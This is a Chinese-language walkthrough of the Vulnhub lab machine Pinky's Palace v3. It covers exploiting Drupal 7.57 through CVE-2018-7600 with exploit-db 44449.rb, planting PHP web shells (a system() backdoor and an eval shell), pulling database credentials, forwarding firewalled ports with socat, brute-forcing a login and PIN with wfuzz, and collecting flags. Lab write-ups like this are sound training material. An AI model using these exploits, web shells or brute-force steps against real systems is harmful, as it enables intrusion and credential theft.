Vulnhub靶场-Pinky's Palace v3
Vulnhub靶场-Pinky's Palace v3
y2xsecVulnhub靶场-Pinky’s Palace v3
在夏令营做的一个靶机,还是挺有意思的,也就做了我一天而已(菜没办法),这个靶机是当时夏令营老师布置的一道题,但是后面实在不会做就去网上搜了wp,才知道原型是Pinky’s Palace v3。
Pinky’s Palace v3
(flag在文章尾)
打开靶机和kali,将靶机和kali设为同一网段。
nmap扫到靶机ip为
1 | kali:192.168.1.138 |
rce
发现靶机的8000、3333、21端口开着,于是访问192.168.1.155:8000(3333端口无法访问)。是一个drupal的登录页面,尝试注册登录发现无法登录。于是爆破路径,发现了很多文件,找了一个有价值的文件:CHANGELOG.txt,内容是drupal的版本是7.57。
于是在kali上使用命令searchsploit查看对应的exp
1 | searchsploit drupal 7.57 |
选择44449.rb来作为本次的exp,文件下载地址 https://www.exploit-db.com/exploits/44449。下载完后执行ruby 44449.rb,如果有报错就在下载好的目录执行以下命令:
1 | sudo gem install highline |
执行完后就不会报错了。执行命令连接shell:
1 | ruby 44449.rb http://192.168.1.155:8000 |
还有一种方法就是利用CVE-2018-7600漏洞来执行,exp地址:https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py。但是它弹不回来shell,只能执行命令然后返回,所以要利用一会要讲到的socat建立连接,因为这里我没有成功所以就不讲述了,具体做法可以参考网上的做法,或者可以根据接下来我讲的socat的用法来利用。
接下来我这里讲一下我第一次做的时候:
首先同样是百度找到了exp,但是不是44449.rb,而是找的一个比较简陋的exp连接。连接上之后可以查看目录,发现目录下有一个shell.php:
1 | <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } |
这不就是一个后门吗,于是我访问shell.php,然后尝试在当前目录写了一个后门1.php(因为蚁剑无法连接shell.php):
1 | <?php eval(\$_POST['cmd']);?> |
发现居然写入成功了,于是蚁剑连接,在当前目录就发现了flag2.txt。
然后在漫长的查找之后,找到了flag1.txt,在/srv/ftp/…/.bak/下,还有一个firewall.sh,打开发现就是一些命令:
1 | #!/bin/bash |
大概意思就是无法反弹shell,所以之前我试了无法反弹shell就是因为防火墙的缘故。
其实上述还说到nmap扫出来过21端口,也就是ftp服务,我们可以登录ftp
1 | ftp 192.168.1.155 |
登录上之后,可以查看当前目录下有什么文件,发现了WELCOME文件,这个文件不重要,主要是要用ls -a查看隐藏文件’…’,下载到本地
1 | get ... |
内容跟上面是一样的,但是这里我本地没下载成功,可能是我kali不行了。
回到蚁剑,刚刚说了拿到了普通用户的权限,蚁剑可以看到文件目录,也可以获取数据库的数据,当然了需要账户密码。于是我百度了一下说:site/default/settings.php文件比较重要,于是访问后找到了mysqli数据库的账户密码
1 | $databases = array ( |
于是连上数据库,drupal数据库,users表,发现了一个用户pinkadmin,但是密码是加密的
1 | pinkadmin |
至此基本的数据找的差不多了,接下来切换其他用户。
socat
socat是linux下的一个工具,其功能与有“瑞士军刀”之称的netcat类似,不过据说可以看做netcat的加强版。的确如此,它有一些netcat所不具备却又很有需求的功能,例如ssl连接这种。nc可能是因为比较久没有维护,确实显得有些陈旧了。
具体的用法可以参考百度,这里只介绍一些比较常用的命令:
1 | // 监听 |
上面知道了靶机是有防火墙的,有些端口是无法扫出来的,但是不代表没有,于是在shell里输入:
1 | netstat -tunlpa |
发现80和65334端口开着,但是不开放,于是就要利用socat来绕过防火墙映射端口。
在shell上执行:
1 | socat TCP-LISTEN:4499,fork TCP:127.0.0.1:80 & |
执行完后浏览器访问http://192.168.1.155:4499和http://192.168.1.155:4488
65334端口没什么东西,主要是80端口,出现了登陆页面。如果要爆破的话需要花很多时间,而且不一定成功,于是先进行信息收集。扫描当前目录的文件,扫出来pwns.db,看起来像密码的东西:
1 | FJ(J#J(R#J |
用户名可以进行猜测(刚刚蚁剑的home下可以看到三个账户,数据库里也有一个账户)
1 | pink |
网页登录还有一个参数pin,可以先随便设一个值,一会再来爆破,先爆破账户密码:
1 | wfuzz -c -z file,./user.txt -z file,./pass.txt -d "user=FUZZ&pass=FUZ2Z&pin=33221" --hh 45 -u http://192.168.1.155:4499/login.php |
爆破出来的账号密码是:
1 | pinkadmin |
接下来爆破pin值(网页提示了pin是一个五位数的数字):
1 | wfuzz -c -z file,./pin.txt -d 'user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ' --hh 45,41 -u http://192.168.1.155:4499/login.php |
爆破出来是:23081,于是登录跳转到另一个页面。
发现是一个命令执行页面,可以执行系统命令,这里同样利用socat建立连接
1 | // 在执行框里输入 |
于是服务器的终端就连接上了
1 | ┌──(root㉿Mao)-[~] |
whoami查看发现是pinksec用户,于是通过查找在/home/pinksec/bin下找到了flag3.txt文件,同样还发现了pinksecd文件,运行后来到另一个终端,whoami查看当前用户是pinksecmanagement用户,于是查找在/home/pinksecmanage下找到了flag4.txt。
至此这台靶机全部的flag都被找完了,没有涉及到提权的东西,否则更有意思,最后几步倒是常规,socat那里比较重点,没有socat还真不知道怎么做。本次主要还是学习socat的用法,功能挺强大的。
CVE-2018-7600exp:https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py
flag如下
1 | flag1{FireWallnoSYN!} |